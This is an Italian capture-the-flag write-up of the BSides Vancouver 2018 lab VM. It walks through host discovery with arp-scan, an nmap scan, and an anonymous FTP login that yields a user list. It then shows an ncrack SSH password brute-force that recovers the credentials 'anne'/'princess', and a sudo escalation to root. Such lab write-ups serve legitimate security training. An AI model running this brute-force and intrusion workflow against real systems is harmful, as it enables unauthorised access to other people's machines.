**Risoluzione Vancouver Black Box**

Dopo aver importato la VM, ho messo la Kali e la Vancouver in rete interna ed ho acceso queste ultime e la pfSense.

Per cominciare, ho fatto un **sudo arp-scan -l** per trovare l'indirizzo IP della black box:

```
┌──(kali㉿vbox)-[~]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:5d:d8:b8, IPv4: 192.168.50.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.50.1    08:00:27:12:45:28       (Unknown)
192.168.50.151  08:00:27:57:cb:98       (Unknown)

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.854 seconds (138.08 hosts/sec). 2 responded
```

Dato che so che la prima è la pfSense, per esclusione, l'IP della Vancouver è 192.168.50.151, che utilizzeremo da qui in poi come IP target per i vari attacchi.

Con Nmap, ho scoperto che i servizi FTP e SSH sono aperti. Partendo dal primo, vedo che il login con anonymous è abilitato e procedo ad entrare.

```
Host is up (0.00091s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.50.100
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:57:CB:98 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 199.638 days (since Fri May 31 02:32:19 2024)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
┌──(kali㉿vbox)-[~]
└─$ ftp 192.168.50.151
Connected to 192.168.50.151.
220 (vsFTPd 2.3.5)
Name (192.168.50.151:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41568|).
150 Here comes the directory listing.
drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||7216|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0              31 Mar 03  2018 users.txt.bk
226 Directory send OK.
ftp> nano users.txt.bk
?Invalid command.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (|||13549|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
100% |*****************************************************************************|    31       14.74 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (8.95 KiB/s)
ftp> exit
221 Goodbye.
```

Da qui sono dentro in FTP. Con **ls** scopro la directory **public**, la ispeziono e trovo una lista di utenti che procedo a scaricare. All'interno trovo diversi utenti

```
File  Edit  Search  View  Document  Help

1 abatchy
2 john
3 mai
4 anne
5 doomguy
6
7
```

Decido a questo punto di darli in pasto ad **ncrack** utilizzando questa come lista utenti e come lista password utilizzando quella comune su /usr/share/wordlist/nmap.lst

```
┌──(kali㉿vbox)-[~]
└─$ ncrack -v -g at=4 -U users.txt.bk -P /usr/share/wordlists/nmap.lst 192.168.50.151:22 -oN ncrack_BSides-Vancouver-2018

Starting Ncrack 0.7 ( http://ncrack.org ) at 2024-12-16 17:11 CET

Discovered credentials on ssh://192.168.50.151:22 'anne' 'princess'
```

Trovo le credenziali "anne" con password "princess" per loggarmi in SSH.

A questo punto entro in SSH con queste credenziali, e semplicemente scalo i permessi facendo **sudo -i** e diventando root della macchina 🥳 🎉

```
┌──(kali㉿vbox)-[~]
└─$ ssh 192.168.50.151 -l anne
anne@192.168.50.151's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Mar  4 16:14:55 2018 from 192.168.1.68
anne@bsides2018:~$ id
uid=1003(anne) gid=1003(anne) groups=1003(anne),27(sudo)
anne@bsides2018:~$ sudo -i
[sudo] password for anne:
root@bsides2018:~# ls
flag.txt
root@bsides2018:~# get flag.txt
No command 'get' found, but there are 16 similar ones
get: command not found
root@bsides2018:~# cat flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17

root@bsides2018:~#
```